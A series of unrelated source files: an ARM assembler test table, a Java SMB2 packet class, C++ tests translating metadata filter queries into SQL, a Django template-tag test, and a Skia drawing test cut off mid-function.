ARRAY_SIZE(kInstruction_bic_al_r8_r7_0x00001fe0), kInstruction_bic_al_r8_r7_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r3_0x0003fc00), kInstruction_bic_al_r13_r3_0x0003fc00, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r14_0x000000ab), kInstruction_bic_al_r4_r14_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r7_0x000000ab), kInstruction_bic_al_r14_r7_0x000000ab, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r9_0x00558000), kInstruction_bic_al_r11_r9_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r10_0x0000ff00), kInstruction_bic_al_r3_r10_0x0000ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r12_0x003fc000), kInstruction_bic_al_r4_r12_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r1_0x002ac000), kInstruction_bic_al_r11_r1_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r0_0x7f800000), kInstruction_bic_al_r12_r0_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r9_0x00003fc0), kInstruction_bic_al_r3_r9_0x00003fc0, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r6_0x0ff00000), kInstruction_bic_al_r6_r6_0x0ff00000, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r11_0xff000000), kInstruction_bic_al_r1_r11_0xff000000, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r10_0x0007f800), kInstruction_bic_al_r2_r10_0x0007f800, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r10_0x000002ac), kInstruction_bic_al_r12_r10_0x000002ac, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r8_0x000003fc), kInstruction_bic_al_r10_r8_0x000003fc, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r0_0x55800000), kInstruction_bic_al_r9_r0_0x55800000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r7_0x1fe00000), kInstruction_bic_al_r8_r7_0x1fe00000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r0_0x15600000), kInstruction_bic_al_r4_r0_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r0_0xff00ff00), kInstruction_bic_al_r4_r0_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r14_0x00007f80), kInstruction_bic_al_r1_r14_0x00007f80, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r3_0x00ff00ff), kInstruction_bic_al_r7_r3_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r2_0x00001560), kInstruction_bic_al_r10_r2_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r14_0xabababab), kInstruction_bic_al_r0_r14_0xabababab, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r4_0x007f8000), kInstruction_bic_al_r3_r4_0x007f8000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r2_0x003fc000), kInstruction_bic_al_r0_r2_0x003fc000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r6_0x0002ac00), kInstruction_bic_al_r13_r6_0x0002ac00, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r5_0x00001fe0), kInstruction_bic_al_r11_r5_0x00001fe0, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r13_0x00005580), kInstruction_bic_al_r1_r13_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r8_0x000007f8), kInstruction_bic_al_r13_r8_0x000007f8, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r4_0x0ab00000), kInstruction_bic_al_r6_r4_0x0ab00000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r10_0x1fe00000), kInstruction_bic_al_r14_r10_0x1fe00000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r6_0xff00ff00), kInstruction_bic_al_r7_r6_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r5_0xffffffff), kInstruction_bic_al_r11_r5_0xffffffff, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r12_0xffffffff), kInstruction_bic_al_r0_r12_0xffffffff, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r2_0x15600000), kInstruction_bic_al_r12_r2_0x15600000, }, { ARRAY_SIZE(kInstruction_bic_al_r3_r12_0x000ff000), kInstruction_bic_al_r3_r12_0x000ff000, }, { ARRAY_SIZE(kInstruction_bic_al_r6_r8_0x00055800), kInstruction_bic_al_r6_r8_0x00055800, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r7_0x05580000), kInstruction_bic_al_r12_r7_0x05580000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r5_0x007f8000), kInstruction_bic_al_r8_r5_0x007f8000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r1_0x000ab000), kInstruction_bic_al_r4_r1_0x000ab000, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r12_0x02ac0000), kInstruction_bic_al_r13_r12_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r8_0x000000ff), kInstruction_bic_al_r9_r8_0x000000ff, }, { ARRAY_SIZE(kInstruction_bic_al_r1_r11_0x00005580), kInstruction_bic_al_r1_r11_0x00005580, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r12_0x02ac0000), kInstruction_bic_al_r10_r12_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r7_r9_0x00ab00ab), kInstruction_bic_al_r7_r9_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r5_0x0000ab00), kInstruction_bic_al_r0_r5_0x0000ab00, }, { ARRAY_SIZE(kInstruction_bic_al_r13_r9_0x00558000), kInstruction_bic_al_r13_r9_0x00558000, }, { ARRAY_SIZE(kInstruction_bic_al_r0_r1_0x002ac000), kInstruction_bic_al_r0_r1_0x002ac000, }, { ARRAY_SIZE(kInstruction_bic_al_r14_r1_0x00000ab0), kInstruction_bic_al_r14_r1_0x00000ab0, }, { ARRAY_SIZE(kInstruction_bic_al_r2_r2_0x00000558), kInstruction_bic_al_r2_r2_0x00000558, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r13_0x00ab00ab), kInstruction_bic_al_r10_r13_0x00ab00ab, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r6_0x00001560), kInstruction_bic_al_r4_r6_0x00001560, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r0_0x00156000), kInstruction_bic_al_r10_r0_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r10_r13_0x00156000), kInstruction_bic_al_r10_r13_0x00156000, }, { ARRAY_SIZE(kInstruction_bic_al_r11_r2_0x001fe000), kInstruction_bic_al_r11_r2_0x001fe000, }, { ARRAY_SIZE(kInstruction_bic_al_r4_r5_0x2ac00000), kInstruction_bic_al_r4_r5_0x2ac00000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r8_0x02ac0000), kInstruction_bic_al_r8_r8_0x02ac0000, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r1_0x7f800000), kInstruction_bic_al_r9_r1_0x7f800000, }, { ARRAY_SIZE(kInstruction_bic_al_r8_r9_0xff00ff00), kInstruction_bic_al_r8_r9_0xff00ff00, }, { ARRAY_SIZE(kInstruction_bic_al_r12_r7_0x00ff00ff), kInstruction_bic_al_r12_r7_0x00ff00ff, }, { ARRAY_SIZE(kInstruction_bic_al_r9_r10_0x00156000), kInstruction_bic_al_r9_r10_0x00156000, }, }; #endif // VIXL_ASSEMBLER_COND_RD_RN_OPERAND_CONST_BIC_T32_H_
60,615
509
<gh_stars>100-1000 /* * Copyright (C)2016 - SMBJ Contributors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.hierynomus.mssmb2; import com.hierynomus.mserref.NtStatus; import com.hierynomus.protocol.commons.buffer.Buffer; import com.hierynomus.smb.SMBBuffer; import com.hierynomus.smb.SMBPacketData; import static com.hierynomus.mssmb2.SMB2MessageCommandCode.SMB2_OPLOCK_BREAK; import static com.hierynomus.protocol.commons.EnumWithValue.EnumUtils.isSet; /** * Represents the partially deserialized SMB2Packet contents. * <p> * The SMB2 Header is always present and has a fixed layout. The packet data itself varies based on the {@link SMB2MessageCommandCode} in the header, * together with the {@link com.hierynomus.mserref.NtStatus}. */ public class SMB2PacketData extends SMBPacketData<SMB2PacketHeader> { public SMB2PacketData(byte[] data) throws Buffer.BufferException { super(new SMB2PacketHeader(), data); } SMB2PacketData(SMBBuffer buffer) throws Buffer.BufferException { super(new SMB2PacketHeader(), buffer); } public long getSequenceNumber() { return getHeader().getMessageId(); } /** * Check whether this packetData has an {@link NtStatus#isSuccess() success} status * @return */ protected boolean isSuccess() { long statusCode = getHeader().getStatusCode(); return NtStatus.isSuccess(statusCode) && statusCode != NtStatus.STATUS_PENDING.getValue(); } /** * Check whether this packet is an intermediate ASYNC response */ public boolean isIntermediateAsyncResponse() { return isSet(getHeader().getFlags(), SMB2MessageFlag.SMB2_FLAGS_ASYNC_COMMAND) && getHeader().getStatusCode() == NtStatus.STATUS_PENDING.getValue(); } /** * Check whether this is an SMB2_OPLOCK_BREAK Notification packet */ public boolean isOplockBreakNotification() { return getHeader().getMessageId() == 0xFFFFFFFFFFFFFFFFL && getHeader().getMessage() == SMB2_OPLOCK_BREAK; } /** * Check whether this Packet is part of a Compounded message * @return */ public boolean isCompounded() { return getHeader().getNextCommandOffset() != 0; } public SMB2PacketData next() throws Buffer.BufferException { if (isCompounded()) { return new SMB2PacketData(dataBuffer); } else { return null; } } public boolean isDecrypted() { return false; } @Override public String toString() { return getHeader().getMessage() + " with message id << " + getHeader().getMessageId() + " >>"; } }
1,136
458
/* Copyright 2020 Google LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "ml_metadata/query/filter_query_builder.h" #include <vector> #include <gtest/gtest.h> #include "absl/status/status.h" #include "ml_metadata/metadata_store/test_util.h" #include "ml_metadata/proto/metadata_store.pb.h" #include "ml_metadata/query/filter_query_ast_resolver.h" namespace ml_metadata { namespace { using ::testing::ValuesIn; // A property mention consists of a tuple (base table alias, property name). using PropertyMention = std::pair<absl::string_view, absl::string_view>; // A tuple of (user-query, from clause, where clause) struct QueryTupleTestCase { const std::string user_query; // The from clause depends on the base_table of the template Node type // (Artifact/Execution/Context). The `join_mentions` describes the expected // table alias of related neighbors. // Use GetFromClause<T> to test the resolved from_clause with the test case. struct MentionedNeighbors { std::vector<absl::string_view> types; std::vector<absl::string_view> contexts; std::vector<PropertyMention> properties; std::vector<PropertyMention> custom_properties; std::vector<absl::string_view> parent_contexts; std::vector<absl::string_view> child_contexts; std::vector<absl::string_view> events; }; const MentionedNeighbors join_mentions; const std::string where_clause; // Note gtest has limitation to support parametrized type and value together. // We use a test_case_nodes in QueryTupleTestCase to implement parameterized // tests and share test cases for both types {Artifact, Execution, Context} // and query tuple values. // Each {`user_query`, `from_clause`, `where_clause`} is tested on all three // node types unless that node type is set to false in `test_case_nodes`. struct TestOnNodes { const bool artifact = true; const bool execution = true; const bool context = true; }; const TestOnNodes test_case_nodes; // Utility method to test the resolved from clause with the testcase instance. template <typename Node> std::string GetFromClause() const { const absl::string_view base_alias = FilterQueryBuilder<Node>::kBaseTableAlias; std::string from_clause = FilterQueryBuilder<Node>::GetBaseNodeTable(base_alias); for (absl::string_view type_alias : join_mentions.types) { from_clause += FilterQueryBuilder<Node>::GetTypeJoinTable(base_alias, type_alias); } for (absl::string_view context_alias : join_mentions.contexts) { from_clause += FilterQueryBuilder<Node>::GetContextJoinTable( base_alias, context_alias); } for (const PropertyMention& property_mention : join_mentions.properties) { from_clause += FilterQueryBuilder<Node>::GetPropertyJoinTable( base_alias, property_mention.first, property_mention.second); } for (const PropertyMention& property_mention : join_mentions.custom_properties) { from_clause += FilterQueryBuilder<Node>::GetCustomPropertyJoinTable( base_alias, property_mention.first, property_mention.second); } for (absl::string_view parent_context_alias : join_mentions.parent_contexts) { from_clause += FilterQueryBuilder<Node>::GetParentContextJoinTable( base_alias, parent_context_alias); } for (absl::string_view child_context_alias : join_mentions.child_contexts) { from_clause += FilterQueryBuilder<Node>::GetChildContextJoinTable( base_alias, child_context_alias); } for (absl::string_view event_alias : join_mentions.events) { from_clause += FilterQueryBuilder<Node>::GetEventJoinTable(base_alias, event_alias); } return from_clause; } }; constexpr QueryTupleTestCase::TestOnNodes artifact_only = {true, false, false}; constexpr QueryTupleTestCase::TestOnNodes execution_only = {false, true, false}; constexpr QueryTupleTestCase::TestOnNodes exclude_context = {true, true, false}; constexpr QueryTupleTestCase::TestOnNodes context_only = {false, false, true}; // A list of utilities to write the mentioned tables for the test cases. QueryTupleTestCase::MentionedNeighbors NoJoin() { return QueryTupleTestCase::MentionedNeighbors(); } QueryTupleTestCase::MentionedNeighbors JoinWith( std::vector<absl::string_view> types = {}, std::vector<absl::string_view> contexts = {}, std::vector<PropertyMention> properties = {}, std::vector<PropertyMention> custom_properties = {}, std::vector<absl::string_view> parent_contexts = {}, std::vector<absl::string_view> child_contexts = {}, std::vector<absl::string_view> events = {}) { return {types, contexts, properties, custom_properties, parent_contexts, child_contexts, events}; } QueryTupleTestCase::MentionedNeighbors JoinWithType( absl::string_view type_table_alias) { return JoinWith(/*types=*/{type_table_alias}, /*contexts=*/{}); } QueryTupleTestCase::MentionedNeighbors JoinWithContexts( std::vector<absl::string_view> context_table_alias) { return JoinWith(/*types=*/{}, context_table_alias); } QueryTupleTestCase::MentionedNeighbors JoinWithProperty( absl::string_view property_table_alias, absl::string_view property_name) { return JoinWith(/*types=*/{}, /*contexts=*/{}, {{property_table_alias, property_name}}); } QueryTupleTestCase::MentionedNeighbors JoinWithCustomProperty( absl::string_view property_table_alias, absl::string_view property_name) { return JoinWith(/*types=*/{}, /*contexts=*/{}, /*properties=*/{}, {{property_table_alias, property_name}}); } QueryTupleTestCase::MentionedNeighbors JoinWithProperties( std::vector<PropertyMention> properties, std::vector<PropertyMention> custom_properties) { return JoinWith(/*types=*/{}, /*contexts=*/{}, properties, custom_properties); } QueryTupleTestCase::MentionedNeighbors JoinWithParentContexts( std::vector<absl::string_view> parent_context_table_alias) { return JoinWith(/*types=*/{}, /*contexts=*/{}, /*properties=*/{}, /*custom_properties=*/{}, parent_context_table_alias, /*child_contexts=*/{}); } QueryTupleTestCase::MentionedNeighbors JoinWithChildContexts( std::vector<absl::string_view> child_context_table_alias) { return JoinWith(/*types=*/{}, /*contexts=*/{}, /*properties=*/{}, /*custom_properties=*/{}, /*parent_contexts=*/{}, child_context_table_alias); } QueryTupleTestCase::MentionedNeighbors JoinWithEvents( std::vector<absl::string_view> events_alias) { return JoinWith(/*types=*/{}, /*contexts=*/{}, /*properties=*/{}, /*custom_properties=*/{}, /*parent_contexts=*/{}, /*child_contexts=*/{}, events_alias); } std::vector<QueryTupleTestCase> GetTestQueryTuples() { return { // basic type attributes conditions {"type_id = 1", NoJoin(), "(table_0.type_id) = 1"}, {"NOT(type_id = 1)", NoJoin(), "NOT ((table_0.type_id) = 1)"}, {"type = 'foo'", JoinWithType("table_1"), "(table_1.type) = (\"foo\")"}, // artifact-only attributes {"uri like 'abc'", NoJoin(), "(table_0.uri) LIKE (\"abc\")", artifact_only}, {"state = LIVE AND state = DELETED", NoJoin(), "((table_0.state) = 2) AND ((table_0.state) = 4)", artifact_only}, // execution-only attributes {"last_known_state = NEW OR last_known_state = COMPLETE", NoJoin(), "((table_0.last_known_state) = 1) OR ((table_0.last_known_state) = 3)", execution_only}, // mention context (the neighbor only applies to artifact/execution) {"contexts_0.id = 1", JoinWithContexts({"table_1"}), "(table_1.id) = 1", exclude_context}, // use multiple conditions on the same context {"contexts_0.id = 1 AND contexts_0.name LIKE 'foo%'", JoinWithContexts({"table_1"}), "((table_1.id) = 1) AND ((table_1.name) LIKE (\"foo%\"))", exclude_context}, // use multiple conditions(including date fields) on the same context {"contexts_0.id = 1 AND contexts_0.create_time_since_epoch > 1", JoinWithContexts({"table_1"}), "((table_1.id) = 1) AND ((table_1.create_time_since_epoch) > 1)", exclude_context}, // use multiple conditions on different contexts {"contexts_0.id = 1 AND contexts_1.id != 2", JoinWithContexts({"table_1", "table_2"}), "((table_1.id) = 1) AND ((table_2.id) != 2)", exclude_context}, // use multiple conditions on different contexts {"contexts_0.id = 1 AND contexts_0.last_update_time_since_epoch < 1 AND " "contexts_1.id != 2", JoinWithContexts({"table_1", "table_2"}), "((table_1.id) = 1) AND ((table_1.last_update_time_since_epoch) < 1) " "AND ((table_2.id) != 2)", exclude_context}, // mix attributes and context together {"type_id = 1 AND contexts_0.id = 1", JoinWithContexts({"table_1"}), "((table_0.type_id) = 1) AND ((table_1.id) = 1)", exclude_context}, // mix attributes (including type) and context together {"(type_id = 1 OR type != 'foo') AND contexts_0.id = 1", JoinWith(/*types=*/{"table_1"}, /*contexts=*/{"table_2"}), "(((table_0.type_id) = 1) OR ((table_1.type) != (\"foo\"))) AND " "((table_2.id) = 1)", exclude_context}, // mention properties {"properties.p0.int_value = 1", JoinWithProperty("table_1", "p0"), "(table_1.int_value) = 1"}, // properties with backquoted names {"properties.`0:b`.int_value = 1", JoinWithProperty("table_1", "0:b"), "(table_1.int_value) = 1"}, {"custom_properties.`0 b`.string_value != '1'", JoinWithCustomProperty("table_1", "0 b"), "(table_1.string_value) != (\"1\")"}, {"properties.`0:b`.int_value = 1 AND " "properties.foo.double_value > 1 AND " "custom_properties.`0 b`.string_value != '1'", JoinWithProperties( /*properties=*/{{"table_1", "0:b"}, {"table_2", "foo"}}, /*custom_properties=*/{{"table_3", "0 b"}}), "((table_1.int_value) = 1) AND ((table_2.double_value) > (1.0)) AND " "((table_3.string_value) != (\"1\"))"}, // use multiple conditions on the same property {"properties.p0.int_value = 1 OR properties.p0.string_value = '1' ", JoinWithProperty("table_1", "p0"), "((table_1.int_value) = 1) OR ((table_1.string_value) = (\"1\"))"}, // mention property and custom property with the same property name {"properties.p0.int_value > 1 OR custom_properties.p0.int_value > 1", JoinWithProperties(/*properties=*/{{"table_1", "p0"}}, /*custom_properties=*/{{"table_2", "p0"}}), "((table_1.int_value) > 1) OR ((table_2.int_value) > 1)"}, // use multiple properties and custom properties {"(properties.p0.int_value > 1 OR custom_properties.p0.int_value > 1) " "AND " "properties.p1.double_value > 0.95 AND " "custom_properties.p2.string_value = 'name'", JoinWithProperties( /*properties=*/{{"table_1", "p0"}, {"table_3", "p1"}}, /*custom_properties=*/{{"table_2", "p0"}, {"table_4", "p2"}}), "(((table_1.int_value) > 1) OR ((table_2.int_value) > 1)) AND " "((table_3.double_value) > (0.95)) AND " "((table_4.string_value) = (\"name\"))"}, // use attributes, contexts, properties and custom properties {"type = 'dataset' AND " "(contexts_0.name = 'my_run' AND contexts_0.type = 'exp') AND " "(properties.p0.int_value > 1 OR custom_properties.p1.double_value > " "0.9)", JoinWith(/*types=*/{"table_1"}, /*contexts=*/{"table_2"}, /*properties=*/{{"table_3", "p0"}}, /*custom_properties=*/{{"table_4", "p1"}}), "((table_1.type) = (\"dataset\")) AND (((table_2.name) = (\"my_run\")) " "AND ((table_2.type) = (\"exp\"))) AND (((table_3.int_value) > 1) OR " "((table_4.double_value) > (0.9)))", exclude_context}, // Parent context queries. // mention context (the neighbor only applies to contexts) {"parent_contexts_0.id = 1", JoinWithParentContexts({"table_1"}), "(table_1.id) = 1", context_only}, // use multiple conditions on the same parent context {"parent_contexts_0.id = 1 AND parent_contexts_0.name LIKE 'foo%'", JoinWithParentContexts({"table_1"}), "((table_1.id) = 1) AND ((table_1.name) LIKE (\"foo%\"))", context_only}, // use multiple conditions on different parent contexts {"parent_contexts_0.id = 1 AND parent_contexts_1.id != 2", JoinWithParentContexts({"table_1", "table_2"}), "((table_1.id) = 1) AND ((table_2.id) != 2)", context_only}, // // mix attributes and parent context together {"type_id = 1 AND parent_contexts_0.id = 1", JoinWithParentContexts({"table_1"}), "((table_0.type_id) = 1) AND ((table_1.id) = 1)", context_only}, // mix attributes (including type) and parent context together {"(type_id = 1 OR type != 'foo') AND parent_contexts_0.id = 1", JoinWith(/*types=*/{"table_1"}, /*contexts=*/{}, /*properties=*/{}, /*custom_properties=*/{}, /*parent_contexts=*/{"table_2"}), "(((table_0.type_id) = 1) OR ((table_1.type) != (\"foo\"))) AND " "((table_2.id) = 1)", context_only}, // use attributes, parent contexts, properties and custom properties {"type = 'pipeline_run' AND (properties.p0.int_value > 1 OR " "custom_properties.p1.double_value > 0.9) AND (parent_contexts_0.name = " "'pipeline_context' AND parent_contexts_0.type = 'pipeline')", JoinWith(/*types=*/{"table_1"}, /*contexts=*/{}, /*properties=*/{{"table_2", "p0"}}, /*custom_properties=*/{{"table_3", "p1"}}, /*parent_contexts=*/{"table_4"}), "((table_1.type) = (\"pipeline_run\")) AND (((table_2.int_value) > 1) " "OR ((table_3.double_value) > (0.9))) AND (((table_4.name) = " "(\"pipeline_context\")) AND ((table_4.type) = (\"pipeline\")))", context_only}, // Child context queries. // mention context (the neighbor only applies to contexts) {"child_contexts_0.id = 1", JoinWithChildContexts({"table_1"}), "(table_1.id) = 1", context_only}, // use multiple conditions on the same child context {"child_contexts_0.id = 1 AND child_contexts_0.name LIKE 'foo%'", JoinWithChildContexts({"table_1"}), "((table_1.id) = 1) AND ((table_1.name) LIKE (\"foo%\"))", context_only}, // use multiple conditions on different child contexts {"child_contexts_0.id = 1 AND child_contexts_1.id != 2", JoinWithChildContexts({"table_1", "table_2"}), "((table_1.id) = 1) AND ((table_2.id) != 2)", context_only}, // // mix attributes and child context together {"type_id = 1 AND child_contexts_0.id = 1", JoinWithChildContexts({"table_1"}), "((table_0.type_id) = 1) AND ((table_1.id) = 1)", context_only}, // mix attributes (including type) and child context together {"(type_id = 1 OR type != 'foo') AND child_contexts_0.id = 1", JoinWith(/*types=*/{"table_1"}, /*contexts=*/{}, /*properties=*/{}, /*custom_properties=*/{}, /*parent_contexts=*/{}, /*child_contexts=*/{"table_2"}), "(((table_0.type_id) = 1) OR ((table_1.type) != (\"foo\"))) AND " "((table_2.id) = 1)", context_only}, // use attributes, child contexts, properties and custom properties {"type = 'pipeline' AND (properties.p0.int_value > 1 OR " "custom_properties.p1.double_value > 0.9) AND (child_contexts_0.name = " "'pipeline_run' AND child_contexts_0.type = 'runs')", JoinWith(/*types=*/{"table_1"}, /*contexts=*/{}, /*properties=*/{{"table_2", "p0"}}, /*custom_properties=*/{{"table_3", "p1"}}, /*parent_contexts=*/{}, /*child_contexts=*/{"table_4"}), "((table_1.type) = (\"pipeline\")) AND (((table_2.int_value) > 1) " "OR ((table_3.double_value) > (0.9))) AND (((table_4.name) = " "(\"pipeline_run\")) AND ((table_4.type) = (\"runs\")))", context_only}, // use attributes, parent context, child contexts, properties and custom // properties {"type = 'pipeline' AND (properties.p0.int_value > 1 OR " "custom_properties.p1.double_value > 0.9) AND (parent_contexts_0.name = " "'parent_context1' AND parent_contexts_0.type = 'parent_context_type') " "AND (child_contexts_0.name = 'pipeline_run' AND child_contexts_0.type " "= 'runs')", JoinWith(/*types=*/{"table_1"}, /*contexts=*/{}, /*properties=*/{{"table_2", "p0"}}, /*custom_properties=*/{{"table_3", "p1"}}, /*parent_contexts=*/{"table_4"}, /*child_contexts=*/{"table_5"}), "((table_1.type) = (\"pipeline\")) AND (((table_2.int_value) > 1) " "OR ((table_3.double_value) > (0.9))) AND (((table_4.name) = " "(\"parent_context1\")) AND ((table_4.type) = " "(\"parent_context_type\"))) AND (((table_5.name) = (\"pipeline_run\")) " "AND ((table_5.type) = (\"runs\")))", context_only}, {"events_0.execution_id = 1", JoinWithEvents({"table_1"}), "(table_1.execution_id) = 1", artifact_only}, {"events_0.type = INPUT", JoinWithEvents({"table_1"}), "(table_1.type) = 3", exclude_context}, {"events_0.type = INPUT OR events_0.type = OUTPUT", JoinWithEvents({"table_1"}), "((table_1.type) = 3) OR ((table_1.type) = 4)", exclude_context}, {"uri = 'http://some_path' AND events_0.type = INPUT", JoinWithEvents({"table_1"}), "((table_0.uri) = (\"http://some_path\")) AND ((table_1.type) = 3)", artifact_only}}; } class SQLGenerationTest : public ::testing::TestWithParam<QueryTupleTestCase> { protected: template <typename T> void VerifyQueryTuple() { LOG(INFO) << "Testing valid query string: " << GetParam().user_query; FilterQueryAstResolver<T> ast_resolver(GetParam().user_query); ASSERT_EQ(absl::OkStatus(), ast_resolver.Resolve()); ASSERT_NE(ast_resolver.GetAst(), nullptr); FilterQueryBuilder<T> query_builder; ASSERT_EQ(absl::OkStatus(), ast_resolver.GetAst()->Accept(&query_builder)); // Ensures the base table alias constant does not violate the test strings // used in the expected where clause. ASSERT_EQ(FilterQueryBuilder<T>::kBaseTableAlias, "table_0"); EXPECT_EQ(query_builder.GetFromClause(), GetParam().GetFromClause<T>()); EXPECT_EQ(query_builder.GetWhereClause(), GetParam().where_clause); } }; TEST_P(SQLGenerationTest, Artifact) { if (GetParam().test_case_nodes.artifact) { VerifyQueryTuple<Artifact>(); } } TEST_P(SQLGenerationTest, Execution) { if (GetParam().test_case_nodes.execution) { VerifyQueryTuple<Execution>(); } } TEST_P(SQLGenerationTest, Context) { if (GetParam().test_case_nodes.context) { VerifyQueryTuple<Context>(); } } INSTANTIATE_TEST_SUITE_P(FilterQueryBuilderTest, SQLGenerationTest, ValuesIn(GetTestQueryTuples())); } // namespace } // namespace ml_metadata
8,086
572
import pytest from django.template import Context from django.template.base import Template from django.test.client import RequestFactory class TestRenderedTag(object): @pytest.fixture(autouse=True) def setup(self): self.loadstatement = '{% load forum_markup_tags %}' self.request_factory = RequestFactory() def test_can_render_a_formatted_text_on_the_fly(self): # Setup def get_rendered(value): request = self.request_factory.get('/') t = Template(self.loadstatement + '{{ value|rendered|safe }}') c = Context({'value': value, 'request': request}) rendered = t.render(c) return rendered assert get_rendered('**This is a test**').rstrip() \ == '<p><strong>This is a test</strong></p>'
331
5,964
<filename>third_party/skia/gm/strokefill.cpp /* * Copyright 2011 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "gm.h" #include "SkCanvas.h" #include "SkPathPriv.h" #include "SkTypeface.h" namespace skiagm { class StrokeFillGM : public GM { public: StrokeFillGM() { } protected: SkString onShortName() override { return SkString("stroke-fill"); } SkISize onISize() override { return SkISize::Make(640, 480); } static void show_bold(SkCanvas* canvas, const void* text, int len, SkScalar x, SkScalar y, const SkPaint& paint) { SkPaint p(paint); canvas->drawText(text, len, x, y, p); p.setFakeBoldText(true); canvas->drawText(text, len, x, y + SkIntToScalar(120), p); } void onDraw(SkCanvas* canvas) override { SkScalar x = SkIntToScalar(100); SkScalar y = SkIntToScalar(88); SkPaint paint; paint.setAntiAlias(true); paint.setTextSize(SkIntToScalar(100)); paint.setStrokeWidth(SkIntToScalar(5)); sk_tool_utils::set_portable_typeface(&paint, "Papyrus"); show_bold(canvas, "Hello", 5, x, y, paint); sk_tool_utils::set_portable_typeface(&paint, "Hiragino Maru Gothic Pro"); const unsigned char hyphen[] = { 0xE3, 0x83, 0xBC }; show_bold(canvas, hyphen, SK_ARRAY_COUNT(hyphen), x + SkIntToScalar(300), y, paint); paint.setStyle(SkPaint::kStrokeAndFill_Style); SkPath path; path.setFillType(SkPath::kWinding_FillType); path.addCircle(x, y + SkIntToScalar(200), SkIntToScalar(50), SkPath::kCW_Direction); path.addCircle(x, y + SkIntToScalar(200), SkIntToScalar(40), SkPath::kCCW_Direction); canvas->drawPath(path, paint); SkPath path2; path2.setFillType(SkPath::kWinding_FillType); path2.addCircle(x + SkIntToScalar(120), y + SkIntToScalar(200), SkIntToScalar(50), SkPath::kCCW_Direction); path2.addCircle(x + SkIntToScalar(120), y + SkIntToScalar(200), SkIntToScalar(40), SkPath::kCW_Direction); canvas->drawPath(path2, paint); path2.reset(); path2.addCircle(x + SkIntToScalar(240), y + SkIntToScalar(200), SkIntToScalar(50), SkPath::kCCW_Direction); canvas->drawPath(path2, paint); SkASSERT(SkPathPriv::CheapIsFirstDirection(path2, SkPathPriv::kCCW_FirstDirection)); path2.reset(); SkASSERT(!SkPathPriv::CheapComputeFirstDirection(path2, NULL)); path2.addCircle(x + SkIntToScalar(360), y + SkIntToScalar(200), SkIntToScalar(50), SkPath::kCW_Direction); SkASSERT(SkPathPriv::CheapIsFirstDirection(path2, SkPathPriv::kCW_FirstDirection)); canvas->drawPath(path2, paint); SkRect r = SkRect::MakeXYWH(x - SkIntToScalar(50), y + SkIntToScalar(280), SkIntToScalar(100), SkIntToScalar(100)); SkPath path3; path3.setFillType(SkPath::kWinding_FillType); path3.addRect(r, SkPath::kCW_Direction); r.inset(SkIntToScalar(10), SkIntToScalar(10)); path3.addRect(r, SkPath::kCCW_Direction); canvas->drawPath(path3, paint); r = SkRect::MakeXYWH(x + SkIntToScalar(70), y + SkIntToScalar(280), SkIntToScalar(100), SkIntToScalar(100)); SkPath path4; path4.setFillType(SkPath::kWinding_FillType); path4.addRect(r, SkPath::kCCW_Direction); r.inset(SkIntToScalar(10), SkIntToScalar(10)); path4.addRect(r, SkPath::kCW_Direction); canvas->drawPath(path4, paint); r = 